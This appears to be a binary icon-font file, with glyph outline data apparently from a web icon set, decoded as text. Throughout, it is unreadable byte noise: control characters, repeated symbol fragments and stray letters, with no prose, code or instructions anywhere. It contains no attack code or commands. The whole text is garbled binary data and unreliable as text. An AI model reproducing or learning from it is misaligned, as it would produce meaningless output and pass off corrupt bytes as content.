FU&'8JSSJ8'&&'.${{$.'&&M&&M&%/B/%7;&'66'&;4[&$[2[$&[              # / 3 7  #5#5!#5!!!!!!!#5!#5!5##!35!!!                        # ' + / 3 7 ; ?  3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3????  ^>>~??????~??~??^??^^?  ^??          4&"2#"'.5463!2KjKKjv%'45%5&5L45&%jKKjK@5%%%%54L5&6'      k   5   4&"2#"'.5463!2#"&'654'.#32KjKKjv%'45%5&5L45&%%'4$.%%5&55&%jKKjK@5%%%%54L5&6'45%%%54'&55&6'  
y T d t  #!"&'&74676&7>7>76&7>7>76&7>7>76&7>7>63!2#!"3!2676'3!26?6&#!"3!26?6&#!"g(sAeM,*$/!'&JP$G]
x6,&`h`"9Hv@WkNC<.
&k&
("$p"	.#u&#	%!'	pJvwEF#@@        2#"'	#"'.546763!''!0#GG$/!''!	8""8 X!	8"	"8	          <  )!!#"&=! 4&"27+#!"&=#"&546;463!232(8&4&&48(@(8qO@8((`(@Oq 8(&4&&4&@`(88(Oq (8(`( q      ! )   2"&42#!"&546;7>3!2      Ijjjj3e5 5e3gr`Ijjjj1GG1r        P  2327&7>7;"&#"4?2>54.'%3"&#"#ժ!9&WB03&K5!)V?@L'	>R>e;&L::%P>vO
'h N_":-&+#
:	'	      + a  %3 4'.#"32>54.#"7>7><5'./6$3232#"&#"+JBx)EB_I:I*CRzb3:dtB2P$$5.3bZF|\8!-T>5Fu\,,jn OrB,<!
54wJ]?tTFi;23j.p^%/2+	S:T}K4W9: #ƕdfE     :  7>7676'5.'732>7"#"&#&#"OAzj=N!}:0e%	y+tD3~U#B4#g		'2
%/!:T	bRU,7        }  %2"/&6;#"&?62+326323!2>?23&'.'.#"&"$#"#&=>764=464.'&#"&'!~:~!PP!~:~!P6,,$$%*'c2N 	
($"LA23Yl!x!*%% %% pP,T	NE	Q7^oH!+(
3	 *Ueeuwg      a   32632$?23&'.5&'&#"&"5$#"#&=>7>4&54&54>.'&#"&'2#".465!#".'&47>32!4&4>Q6,,Fa w!*'
=~Pl*	
($"LA23Yl	)!*<7@@7< <7@@7<  pP,T	MFQ747ƢHoH!+(
3	 tJHQ6wh',686,'$##$',686,'$##$          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && & & && &&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&& &&&&&&&&&&&&f&&&&f&&&&f&&&&          / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&& && && && &&&&&&&&&f&&&&f&&&&f&&&&            / ?  %#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&f&&&&f&&&&f&&&&            / ? O _ o   %+"&=46;2+"&=46;2+"&=46;2#!"&=463!2+"&=46;2#!"&=463!2#!"&=463!2#!"&=463!2  @  @@@sssss          / ? O  #"'&47632#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2			 	@@@@	 		 	sss         / ? O   #"&54632	#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2`			 @@@@		@		sss           #"'#!"&5463!2632 'mw@www'*wwww          .   "&462!5	!"3!2654&#!"&5463!2pppp@  @^BB^^B@B^ppp@@  @ @B^^BB^^   k    %  !7'34#"3276'	!7632k[[v

6`%`$65&%[[k
`5%&&'          4&"2"&'&54    Ԗ!?H?!,,ԖԖ mF!&&!Fm,        %"  $$  ^aa`@^aa           -  4'.'&"26%   547>7>2 "KjK XQqYn	243nYqQ$!+!77!+!$5KK,ԑ	]""]ً	        9 > H  7'3 &7#!"&5463!2'&#!"3!26=4?6	!762xtt`   ^Qwww@?61B^^B@B^	@(` `\\\P`tt8`  ^Ͼww@w1^BB^^B~	@` \ \P          + Z  #!"&5463!12+"3!26=47676#"'&=# #"'.54>;547632www M8
pB^^B@B^'sw-

9*##;Noj'#ww@w"^BB^^B
	*"g`81T`PSA:'*4       / D  #!"&5463!2#"'&#!"3!26=4?632"'&4?62	62www@?61
B^^B@B^	@
BRnBBn^ww@w1
^BB^^B	@
BnnB          C   "&=!32"'&46;!"'&4762!#"&4762+!5462  4&& 4 &&4  4&& 4 &&4 4 &&4  4&& 4 &&4  4&&        6'&'+"&546;267:	&&&&	s@	
Z&&&&Z
	     +  6'&''&'+"&546;267667:	:	&&&&		s@	
:	
Z&&&&Z
	:
	  z   6'&''&47667S:	:	s@	
:4:
	    |   	&546h!!0a$           #!"&5463!2#!"&5463!2 & && && && &@&&&&&&&&          #!"&5463!2 &&&&@&&&&         &54646&5-	:	s:	
:4:
	        +  &5464646;2+"&5&5-		&&&&	:	s:	
:	
&&&&
	:
	         &54646;2+"&5-	&&&&	s:	
&&&&
	          62#!"&!"&5463!24@&&&&-:& && &        	"'&476244444     Zf   	"/&47	&4?62S44444       # /  54&#!4&+"!"3!;265!26  $$ & && && && &@^aa@& && && && &+^aa        54&#!"3!26  $$ & && &@^aa@&&&&+^aa       + 7  4/7654/&#"'&#"32?32?6  $$ }ZZZZ^aaZZZZ^aa      #  4/&"'&"327> $$ [4h4[j^aa"ZiZJ^aa      : F  %54&+";264.#"32767632;265467>$ $$  oW	5!"40K(0?i+! ":^aaXRdD4!&.uC$=1/J=^aa       . :  %54&+4&#!";#"3!2654&+";26 $$  ```^aa ^aa      / _  #"&=46;.'+"&=32+546;2>++"&=.'#"&=46;>7546;232m&&m l&&l m&&m l&&ls&%&&%&&%&&%& &&l m&&m l&&l m&&m ,&%&&%&&%&&%&        # / ;  "/"/&4?'&4?627626.  6  $$ I














͒(r^aaɒ














(_^aa           ,  	"'&4?6262.  6  $$ Z4f44fz(r^aaZ&4ff4(_^aa        	  "  4'32>&#"  $&6$  WoɒV󇥔 zzz8YW˼[?zz:zz   @5 K    #!#"'&547632!2 A4@%&&K%54'u%%&54&K&&4A5K$l$L%%%54'&&J&j&K    5K    #"/&47!"&=463!&4?632%u'43'K&&%@4AA4&&K&45&%@6%u%%K&j&%K55K&$l$K&&u#   5K@ !  #"'+"&5"/&547632K%K&56$K55K$l$K&&#76%%53'K&&%@4AA4&&K&45&%%u'     5K "  #"'&54?63246;2632K%u'45%u&&J'45%&L44L&%54'K%5%t%%$65&K%%4LL4@&%%K'      ,   "&5#"#"'.'547!3462  4&bqb>#5&4 4 & 6Uue7D#		"ǆ &        /   #!"&546262"/"/&47'&463!2
&@&&4L

r&4

r

L&&
4&&&L

rI@&

r

L4&&     s  /  "/"/&47'&463!2 #!"&546262 &4

r

L&&
&@&&4L

r@@&

r

L4&&
4&&&L

r         #  #!+"&5!"&=463!46;2!28(`8((8`(88(8((8(8 (8`(88(8((8(88(`8          #!"&=463!28(@(88((8 (88((88   z 5  '%+"&5&/&67-.?>46;2%6.@g.L44L.g@.
.@g.
L44L
.g@.g.n.4LL43.n.gg.n.34LL4͙.n.g        -     $54&+";264'&+";26/a^



^aafm
        @    J  %55!;263'&#"$4&#"32+#!"&5#"&5463!"&46327632#!2$$8~+(888(+}(`8((8`]]k==k]]8,8e8P88P8`(88(@MM        N   4&#"327>76$32 #"'.#"#"&'.54>54&'&54>7>7>32 &z&^&./+>+)>J>	Wm7'
'"''? &4&c&^|h_bml/J@L@#*#M6:D
35sҟw$	'%
'	\t          3  #!"&=463!2'.54>54''@ 1O``O1CZZ71O``O1BZZ7@@N]SHH[3`)TtbN]SHH[3^)Tt           ! 1  &'   547 $ 4&#"2654632    '&476   ==嘅}(zVl''ٌ@uhyyhu9(}VzD##D#     	  = C U  %7.547 4&#"2654632% #"'&547.'&476 !27632#76$7&'7+NWb=嘧}(zVj\i1
z,XY[6
$!%'FuJiys?_9ɍ?kyhun(}VzYF
KA؉La
02-F"@Qsp@_        ! 3  %54&+";264'&+";26#!"&'&7>2 

 #%;" ";%# <F<7
??""??$$     ll 2  #"'&'	+&/&'&?632	&'&?67>`,@L5`		
`	L`4LH``	a	5L@              # 3 7 ; ? O s  !!!!%!!!!%!!!!!!!!%!!4&+";26!!%!!!!74&+";26%#!"&546;546;2!546;232 `@ `@ @@  @@@ @  @@L44LL4^B@B^^B@B^4L  @@@@      @@  @@   M 4LL4 4L`B^^B``B^^B`L        7 q  .+"&=46;2 #"&=".'673!54632#"&=!"+"&=46;2>767>3!54632<M33K,		 j8Z4L2B4:;M33K, ?			 0N<* .)C=W]xD0N<* .)C=W]xD ?\-7H)		".=']-7H)
w		<?.>mBZxPV3!<?.>mBZxPV3!
         &   #"'&'5&6&>7>7&54>$32 dFK1A
0)L.٫C58.H(Ye      # 3 C   $=463!22>=463!2#!"&5463!2#!"&5463!2 H&&/<R.*.R</&& &&&& &&&&Bɀ&&4L&&L4&&f&&&&&&&&     Z     %"'	"/&4762444ͥ55     Z   	"'&4?62	6244455        % K  %#!".<=#"&54762+!2"'&546;!"/&5463!232 @&@<@&@	:&	& 
&&
&	
`&          :  $"&462"&462!2#!"&54>7#"&463!2!2LhLLhLhLLh!&& &&& &4hLLhLLhLLhL %z<
0&4&&)17&4&&&           #!"&5463!2!2\@\\@\\@\\\\         W  *  #!"&547>3!2!"4&5463!2!2W+B"5P+B@"5^=\@\ \H#t3G#3G:_Ht\\     @      +32"'&46;#"&4762&& 4 && 4 4& &4  4& &4       @     "&=!"'&4762!5462  4& &4  4& &4 4 && 4 &&              !!!3!!                    0 @  67&#".'&'#"'#"'32>54'6#!"&5463!2 8ADAE=\W{O[/5dIkDtpČe1?*w@www	(M&B{Wta28r=Ku?RZ^GwT	-@www       $  2+37#546375&#"#3!"&5463ww/Dz?swww@wS88	ww           # ' . >   4&#"26546326"&462!5! &  !5!!=!!%#!"&5463!2B^8(Ԗ  > @|K5 5KK5 5K^B(8ԖԖ>v 5KK5 5KK   H  G   4&"&#"2654'32#".'#"'#"&54$327.54632@pp)*Pppp)*Pb	'"+`N*(a;2̓c`." b
PTY9ppP*)pppP*) b ".`(*Nͣ2ͣ`+"'	b
MRZB               4&"24&"264&"26#"/+"&/&'#"'&547>7&/.=46?67&'&547>3267676;27632#"&'"'#"'&547&'&=4767&547>32626?2#"&'"'#"'&547&'&=4767&547>32626?2ԖLhLKjKLhLKjK	"8w
s%(")v

>
	"8x
s"+")v
<
3zLLz33>8L3)x33zLLz33>8L3)x3ԖԖ 4LL45KK54LL45KK
#)0C	wZl/

Y	
N,&
#)0C	vZl.

YL0"qG^^Gqq$ ]G)FqqG^^Gqq$ ]G)Fq         % O   #"'#"&'&4>7>7.546$ '&'&'# '32$7>54'VZ|$2$
|E~E<|
$2$|ZV:(t}X(	&%(Hw쉉xH(%&	(XZT\MKG        < m  $4&"24&#!4654&#+32;254'>4'654&'>7+"&'&#!"&5463!6767>763232 &4&&4N2`@`%)7&,$)'  %/0Ӄy#5 +1	&<$]`{t5KK5$e:1&+'3TF0h4&&4&3M:;b^v+D2 5#$IIJ 2E=\$YJ!$MCeM-+(K55KK5y*%Au]c         > q   4&"24&'>54'654&'654&+"+322654&5!267+#"'.'&'&'!"&5463!27>;2 &4&&4+ 5#bW0/%  ')$,&7)%`@``2Nh0##T3'"(0;e$5KK5 tip<&	1&4&&4& #\=E2&%IURI$#5 2D+v^b;:M2gc]vDEA%!bSV2MK55K(,,MeCM$!I     @   #"&547&547%6@?V8b%	I)         9  4.""'."	67"'.54632>32+C`\hxeH>Hexh\`C+ED4
#L</>oP$$Po>Q|I.3MCCM3.I|Q/Z$_dC+I@$$@I+           ( @  %#!"&5463!2#!"3!: "&5!"&5463!462ww@B^^B 
4&@&&&4 ` ww ^B@B^24& && &        % 5  73#7.";2634&#"35#347>32#!"&5463!2FtIG9;HIxI<,tԩw@wwwz4DD43EEueB&#1s@www      .  4&"26#!+"'!"&5463"&463!2#2&S3Ll&c4LL44LL4c@&&{ LhLLhL           ' ?  #!"&5463!2#!"3!26546;2"/"/&47'&463!2www@B^^B@B^@&4t

r

& &`ww@w@^BB^^B@R &t

r

4&&         @   "&5!"&5463!462	#!"&54&>3!2654&#!*.54&>3!24&@&&&4 sw@B^^B
@w4& && &3@w ^BB^       I  &5!%5!>732#!"&=4632654&'&'.=463!5463!2!2J  JSq*5&=CKuuKC=&5*q͍S8( ^B@B^ (8`N`Ѣ΀GtO6)"M36J[E@@E[J63M")6OtG(8`B^^B`8   	        ' , 2    6'&'&76'6'&6&'&6'&4#"7&64   654'.'&'.63226767.547&7662>76#!"&5463!2		/[		.
=XĚ4,+"*+, 1JH'5G::#L5+@=&# w@wwwP.1GE,ԧ44+	;/5cFO:>JJ>:O9W5$@(b4@www      ' ?  $4&"2$4&"2#!"&5463!3!267!2#!#!"&5!"'&762 &4&&4&&4&&48(@(88(c= =c(8* & & *6&4&&4&&4&&4& (88(@(88HH88`(@&&('@       1 c  4&'.54654'&#"#"&#"32632327>7#"&#"#"&54654&54>76763232632


	N<;+gC8A`1a99gw|98aIe$IVNz<:LQJ
,-[%	061I()W,$-7,oIX()oζA;=N0
eTZ	 (       O  #".'&'& '&'.54767>3232>32e^\4?P	bMO0#382W#& 9C9
Lĉ"	82<*9FF(W283#0OMb	P?4\^eFF9*<28	"L
9C9 &#           !"3!2654&#!"&5463!2`B^^B@B^^ީwww@w ^BB^^B@B^ww@w      #  !72#"'	#"'.546763 YY!''!0#GG$/!''! &UUjZ	8""8 X!	8"	"8	        G W  4.'.#"#".'.'.54>54.'.#" 32676#!"&5463!2  1.-
+$)c8)1)

05.D<90)$9 w@wwwW

)1)7c)$+
-.1 9$)0<D.59@www  ,  T  1  # '327.'327.=.547&54632676TC_LҬ#+i!+*pDNBN,y[`m`%i]hbEm}au&,SXK
&$f9s?
    _    #"!#!#!54632V<%' ЭHH	(ں       T \ d k s z       &54654'>54'6'&&"."&'./"?'& 546'&6'&6'&6'&6'&74"727&6/a49[aA)O%-j'&]]5r-%O)@a[9'
0BA;+

>HCU


	#	
	
$				2	AC: oM=a-6OUwW[q	( -	q[WwUP6$C

+) (	
8&/&eMa	
&$	        %  +"&54&"32#!"&5463!54   &@&Ԗ`(88(@(88(r && jj8((88(@(8        # ' +  2#!"&5463"!54&#265!375!35!B^^BB^^B` ^B@B^^BB^ `       ! =   "&462+"&'& '.=476;+"&'& $'.=476;pppp$!$qr%}#ߺppp!E$rqܢ#%ֻ!           ) ?   "&462"&4624&#!"3!26!.#!"#!"&547>3!2/B//B//B//B@2^B@B^\77\aB//B//B//B/@~B^^B@2^5BB52     . 4  2## %&'.67#"&=463! 2 5KK5L4_u:B&1/&.-
zB^^B4LvyKjK4L[!^k'!A3;):2*<vTq6^BB^L4$)*    @     A  4#"&54"3! 4."#!"&5!"&5>547&5462;U gIv0ZZ0L4@Ԗ@4L2RX='8P8'=XR U;Ig0,3lb??bl34LjjL4*\(88(\    } I  /#"/'&/'&?'&'&?'&76?'&7676767676`
(5)0
)*)
0)5(

(5)0
))))
0)5(
*)
0)5(
)5)0
)**)
0)5)

)5)0
)*      5 h  $4&"24&#!4>54&#"+323254'>4'654&'!267+#"'&#!"&5463!2>767>32!2 &4&&4N2$YGB(HGEG  HQ#5K4Li!<;5KK5 
A#("/?&}vh4&&4&3M95S+C=,@QQ9@@IJ 2E=L5i>9eME;K55K	J7R>@#zD<      5 = q  %3#".'&'&'&'.#"!"3!32>$4&"2#!"#"&?&547&'#"&5463!&546323!2`  #A<(H(GY$2NL4K5#aWTƾh&4&&4K5;=!ihv}&?/"(#A
 5K2*!	Q@.'!&=C+S59M34L=E2 JI UR@@&4&&4&5K;ELf9>ig<Dz#@>R7J	K          5 h  4&"24#"."&#"4&#"".#"!54>7#!"&54.'&'.5463246326326 &4&&4IJ 2E=L43M95S+C=,@QQ9@@E;K55K	J7R>@#zD<gi>9eMZ4&&4&<#5K4LN2$YGB(HGEG  HV;5KK5 
A#("/?&}vhi!<         4 < p  4.=!32>332653272673264&"2/#"'#"&5#"&54>767>5463!2@@2*!	Q@.'!&=C+S59M34L.9E2 JI UR&4&&4&Lf6Aig6Jy#@>R7J	K55K;E@TƾH  #A<(H(GY$2NL4K#5#a=4&&4&D=ihv}&?/"(#A
 5KK5;         +  54&#!764/&"2?64/!26  $$  &
[6[[j6[& ^aa@&4[[6[[6&+^aa        +   4/&"!"3!277$ $$ [6[
&&[6j[^aae6[j[6&&4[j[^aa      +   4''&"2?;2652?$ $$ [6[[6&&4[^aaf6j[[6[
&&[^aa      +   4/&"4&+"'&"2?  $$ [6&&4[j[6[j^aad6[&&
[6[[j ^aa             $2>767676&67>?&'4&'.'.'."#&6'&6&'3.'.&'&'&&'&6'&>567>#7>7636''&'&&'.'"6&'6'..'/"&'&76.'7>767&.'"76.7"7"#76'&'.'2#22676767765'4.6326&'.'&'"'>7>&&'.54>'>7>67&'&#674&7767>&/45'.67>76'27".#6'>776'>7647>?6#76'6&'676'&67.'&'6.'.#&'.&6'&.5/a^D&"	


	4	$!	#	
		
	


 
.0"Y
	+!	
	
$		"+


		
	Α	
		^aa
	

					

		
			P '-(	#	*	$
"!				*
!	
(				
	
$
		
2   ~   /  $4&"2	#"/&547#"  32>32&4&&4V%54'j&&'/덹:,{	&4&&4&V%%l$65&b'Cr!"k[G             + ;  %!5!!5!!5!#!"&5463!2#!"&5463!2#!"&5463!2    &&&&&&&&&&&&@ && && && && && &&   {    #"'&5&763!2{' * *)* )'             /  !5!#!"&5!3!26=#!5!463!5463!2!2  ^B@B^&@&`   ^B`8(@(8`B^   B^^B&&B^(88(^      G  	76#!"'&?	#!"&5476	#"'&5463!2	'&763!2#"'c)'&@**@&('c(&*cc*&'*@&('c'(&*cc*&('c'(&@*        1 9 A S [  #"&532327#!"&54>322>32 "&462  &6 +&'654'32>32"&462QgRp|Kx;CByy 6Fe=
BPPB
=eF6  ԖV>!pRgQBC;xK|Ԗ{QNa*+%xx5eud_C(+5++5+(C_due2ԖԖ>NQ{u%+*jԖԖ     p ! C i  4/&#"#".'32?64/&#"327.546326 #"/&547'#"/&4?632632(* 8(!)(A(')* 8(!USxySSXXVzxTTUSxySSXXVzxT@( (8 *(('((8 SSUSx{VXXTTSSUSx{VXXT        #!" 5467&54 32632t,Ԟ;F`j)6,>jK?  s  !  %#!"&7#"&463!2+!'5#8EjjE8@&& &&@XYY&4&&4&qDS%q%         N \ j x     2"&4#"'#"'&7>76326?'&'#"'.'&676326326&'&#"32>'&#"3254?''74&&4&lNnbSVZbRSD	zz	DSRb)+USbn\.2Q\dJ'.2Q\dJ.Q2.'Jd\Q2.'Jd`!O` 	`&4&&4r$#@B10M5TNT{L5T	II	T5L;l'OT4M01B@#$*3;$*3;;3*$;3*$:$/ @@Qq`@         " % 3 <  2#!"&5!"&5467>3!263!	!!#!!46!#!(88(@(8(8(`((8D<++<8(` (8(`8(@(88( 8((`(8((<`(8 (``(8    || ?  %#"'&54632#"'&#"32654'&#"#"'&54632|udqܟs]
=
OfjL?R@T?"&
>
f?rRX=Edudsq
=
_MjiL?T@R?E& f
>
=XRr?b      ! 1 E  )!34&'.##!"&5#3463!24&+";26#!"&5463!2  

08((88(@(88((88((`(1

`(88( (88( @`(88(@(8(`         #!"&5463!2 w@www`@www             /  %#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&&&&&    @    ' 7 G  $"&462"&462#!"&=463!2 "&462#!"&=463!2#!"&=463!2ppppppp@ppp@@Рppppppppp         < L \ l |  #"'732654'>75"##5!!&54>54&#"'>3235#!"&=463!2!5346=#'73#!"&=463!2#!"&=463!2}mQjB919+i1$AjM_3</BB/.#U_:IdDRE@k*Gj@@TP\BX-@8
C)5XsJ@$3T4+,:;39SG2S.7<vcc))%Ll}         5 e  2#!"&=463%&'&5476!2/&'&#"!#"/&'&=4'&?5732767654'&@02uBo
T25XzrDCBBEh:%)0%HPIP{rQ9f#-+>;I@KM-/Q"@@@#-bZ$&P{<8[;:XICC>. '5oe80#.0(l0&%,"J&9%$<=DTI     c s  &/6323276727#"327676767654./&'&'737#"'&'&'&54'&54&#!"3!260%<4"VRt8<@<-#=XYhW8+0$"+dTLx-'I&JKkmuw<=V@!X@		v'|N;!/!$8:IObV;C#V
&(mL.A:9 !./KLwPM$@@  
       / ? O _ o     %54&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!26#!"&5463!2 @@ @ @ @ @ @ @@^BB^^B@B^NB^^B@B^^         # + 3  	'$"/&4762%/?/?/?/?%k*66bbbb|<<<bbbbbbbb%k66Ƒbbb<<<<^bbbbbb    @      M  $4&"2!#" 4&"2&#"&5!"&5#".54634&>?>;5463!2LhLLh		 LhLLhL!'ԖԖ@'!&	?& &LhLLhL 		hLLhL 	jjjj	&@6/"&&       J   #"'676732>54.#"7>76'&54632#"&7>54&#"&54$  ok;	-j=yhwi[+PM3ѩk=J%62>VcaaQ^ ]G"'9r~:`}Ch  0=Z٤W=#uY2BrUI1^Fk[|a      L  2#!67673254.#"67676'&54632#"&7>54&#"#"&5463ww+U	,i<F{jh}Z+OM
2ϧj<J%51=Ubwww@wzX"'8'TyI9`{Bf 
,>XբW<"uW1AqSH1bdww        ' 7  4'!3#"&46327&#"326%35#5##33#!"&5463!20U6cc\=hlࠥYmmnnnnw@wwww&46#Ȏ;edwnnnnn@www    	 ] # /  #"$&6$3 &#"32>7!5!%##5#5353Еttu{zz{SZC`cot*tq||.EXN#??           , <  !5##673#$".4>2"&5!#2!46#!"&5463!2 rM* *M~~M**M~~M*jjj& && &`P%挐|NN||NN|* jj jj@&&&&    @     "'&463!2 @4@&Z4@4&        @    #!"&4762 &&4Z4&&4@     @    "'&4762&4@4&@&4&      @    "&5462@@4&&44@&&@           3!!%!!26#!"&5463!2`m`^BB^^B@B^ `@B^^BB^^    @     "'&463!2#!"&4762 @4@&&&&44@4&Z4&&4@            "'&463!2 @4@&4@4&        @    #!"&4762 &&4Z4&&4@          :  #!"&5;2>76%6 +".'&$'.5463!2 ^B@B^,9j9Gv33vG9H9+bI\
A+=66=+A
[">nSMA_:B^^B1&c*/11/*{'VO3@/$$/@*?Nh^    l   +  !+"&5462!4&#"!/!#>32]_gTRdgdQV?UI*Gg?!2IbbIJaaiwE3300 08        4   #"$'&6?6332>4.#"#!"&54766$32 z䜬m
IwhQQhbF*@&('kz
	
_hQнQGB'(&*eoz  ( q  !#"'&547"'#"'&54>7632&4762.547>32#".'632%k'45%&+ ~((h		&

\((		&

~ +54'k%5%l%%l$65+ ~

&		((\

&		h((~ +%'         ! ) 1 9 K   4&"2 4&"26.676&$4&"2 4&"24&"2#!"'&46$ KjKKjKjKKje2.e<^P,bKjKKjKjKKjKjKKj##LlLKjKKjKjKKjK~-M<M(PM<rjKKjKjKKjKujKKjKL           <    6?32$6&#"'#"&'5&6&>7>7&54$ LhяW.{+9E=cQdFK1A
0)pJ2`[Q?l&٫C58.H(Y'        : d    6?32$64&$ #"'#"&'&4>7>7.546'&'&'# '32$7>54'Yj`a#",5NK
~EVZ|$2$
|:
$2$|ZV:(t}hfR88T
h̲X(	&%(Hw(%&	(XZT\MKG{x   | !  #"'.7#"'&7>3!2%632u
jH{(e9
1b      U  #!"&546;5!32#!"&546;5!32#!"&546;5463!5#"&5463!2+!232 8((88(` `(88((88(` `(88((88(`L4 `(88(@(88(` 4L`(8 (88(@(88((88(@(88((88(@(84L8(@(88((8L48      O Y  "&546226562#"'.#"#"'.'."#"'.'.#"#"&5476 $32&"5462И&4&NdN!>!1X:Dx++ww++xD:X1- U! *,*&4&hh&&2NN2D&
..J<
$$
<JJ<
$$
<J..
Pbb&&          7  !!"&5!54&#!"3!26!	#!"&=!"&5463!2 `(8 @ + 8(@(8(88(@(8(8( @@m+U`(88(8(@(88(h`         ( \  "&54&#"&46324."367>767#"&'"&547&547&547.'&54>2l42cKEooED
)

)
Dg-;</-?.P^P.?-/<;-gYY.2 L4H|O--O|HeO,,Oeq1Ls26%%4.2,44,2.4%%62sL1qcqAAq      4  #!#"'&547632!2#"&=!"&=463!54632 		@	`		`?`
@		@	!		
          5  4&+4&+"#"276#!" 5467&54 32632 	`		_
v,Ԝ;G_j)``			_ԟ7,>jL>       5  4'&";;265326#!" 5467&54 32632 			
v,Ԝ;G_j)	`		`7,>jL>        X `  $"&462#!"&54>72654&'547 7"2654'54622654'54&'46.'  &6 &4&&4&yy%:hD:FppG9Fj 8P8 LhL 8P8 E;
Dh:%>4&&4&}yyD~s[4Dd=PppP=d>hh>@jY*(88(*Y4LL4Y*(88(*YDw"
A4*[s~>       M   4&"27 $=.54632>32#"' 65#"&4632632 65.5462 &4&&4G9&
<#5KK5!!5KK5#<
&ܤ9Gpp&4&&4&@>buោؐ &$KjKnjjKjK$& jjb>Ppp        %  !5!#"&5463!!35463!2+32  @\\ 8(@(8 \@@\ \@\  (88(\   @    3  4#"&54"3#!"&5!"&5>547&5462;U gI@L4@Ԗ@4L2RX='8P8'=XR U;Ig04LjjL4*\(88(\    @    "   4&+32!#!"& +#!"&5463!2pP@@P j j@@\@\&0pj	 \\&       - B  +"&5.5462265462265462+"&5#"&5463!2G9L44L9G&4&&4&&4&&4&&4& L44L &=d4LL4d=&&`&&&&`&&&&4LL4  &         # 3 C S  #!"&5463!2!&'&!"&5!463!2#!"&52#!"&=4632#!"&=463(8((88((`x
c`(8  @@@`((88(@(8(D9 8( `@@@ @@        / ? O _ o         -=  %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!!5463!2#!"&5463!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ & && &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  `&&&&        / ? O _ o        %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!#!"&=!!5463!24&+"#54&+";26=3;26%#!"&5463!463!2!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@  8(@(8 @@@@@ & &&@8((8@&@@@@@@@@@@@@@@@@@@@@ (88( @````- && & (88(&  @    < c  $4&"2!# 4&"254&+54&+"#";;26=326+"&5!"&5#"&46346?>;463!2KjKKj KjKKj &ԖԖ&&@&&KjKKjK 
jKKjK .&jjjj&4&@@&&      # ' 1 ? I  54&+54&+"#";;26=326!5!#"&5463!!35463!2+32    \\8(@(8 \  \ \@\  (88(\          :  #32+53##'53535'575#5#5733#5;2+3@E&&`@@`    `@@`&&E%@`@ @ @		      		@ 0
    @      !3!57#"&5'7!7! K5@   @ 5K@@@      # 3  %4&+"!4&+";265!;26#!"&5463!2 && &&&& && w@www&&@&&&&@&&@www        # 3  54&#!4&+"!"3!;265!26#!"&5463!2 &&&&&@&&@& w@www@&@&&&&&&@&:@www    - M3  )  $"'&4762	"'&4762	s
2

.



2

w
2

.



2

w
2





2

ww

2





2

ww     M3  )   "/&47	&4?62"/&47	&4?62S
.

2

w

2


.

2

w

2

M
.

2



2

.

.

2



2

.   M 3S  )  $"'	"/&4762"'	"/&47623
2

ww

2





2

ww

2




2

w

2



.v
2

w

2



.    M 3s  )   "'&4?62	62"'&4?62	623
.

.

2



2

.

.

2



2
.



2

w

2v
.



2

w

2   - Ms3    	"'&4762s
w

2

.



2
ww

2





2     MS3    "/&47	&4?62S
.

2

w

2

M
.

2



2

.    M3S    "'	"/&47623
2

ww

2



m
2

w

2



.    M-3s    "'&4?62	623
.

.

2



2-
.



2

w

2        /  4&#!"3!26#!#!"&54>5!"&5463!2 @^B  & &  B^^B@B^ @MB^%Q=&&<P&^B@B^^            + 3  "&5463!2#3!2654&#!"3#!"&=324+"3B^^B@B^^B@`^BB^p ^BB^^B@B^`@S`(88(``             '  $4&"2%4&#!"3!26#!"&5463!2&4&&4@^BB^^B@B^f4&&4&@B^^B@B^^            /  $4&"2%4&#!"3!264+";%#!"&5463!2/B//B   0L4 4LL4 4L_B//B/@M    4LL4 4LL            >& $$ (r^aa(^aa        ! C  #!"&54>;2+";2#!"&54>;2+";2 pPPpQh@&&@j8(PppPPpQh@&&@j8(Pp@PppPhQ&&j (8pPPppPhQ&&j (8p         ! C  +"&=46;26=4&+"&5463!2+"&=46;26=4&+"&5463!2 Qh@&&@j8(PppPPpQh@&&@j8(PppPPp@hQ&&j (8pPPppP@hQ&&j (8pPPpp     @@  	   # + 3 ; G  $#"&5462 "&462 "&462#"&462 "&462 "&462 "&462#"&54632K54LKj=KjKKjKjKKjL45KKjK<^^^KjKKjppp\]]\jKL45KjKKjKujKKjK4LKjKK^^^jKKjKpppr]]\            $$  ^aaQ^aa      ,  #"&5465654.+"'&47623  #>bqb&4  4&ɢ5"		#D7euU6 & 4 & m       1 X   ".4>2".4>24&#""'&#";2>#".'&547&5472632>3=T==T==T==T=v)GG+v@bRRb@=&\Nj!>3lkik3hPTDDTPTDDTPTDDTPTDD|xxXK--K|Mp<#	)>dA{RXtfOT# RNftWQ          ,  %4&#!"&=4&#!"3!26#!"&5463!2!2 8(@(88((88((8\@\\@\\(88(@(88(@(88@\\\\       u  ' E  4#!"3!2676%!54&#!"&=4&#!">#!"&5463!2!2325([5@(\& 8((88((8 ,9.+C\\@\ \6Z]#+#,k(88(@(88(;5E>:5E\\\ \1.           $ 4 @  "&'&676267> "&462"&462 .  > $$ n%%/02
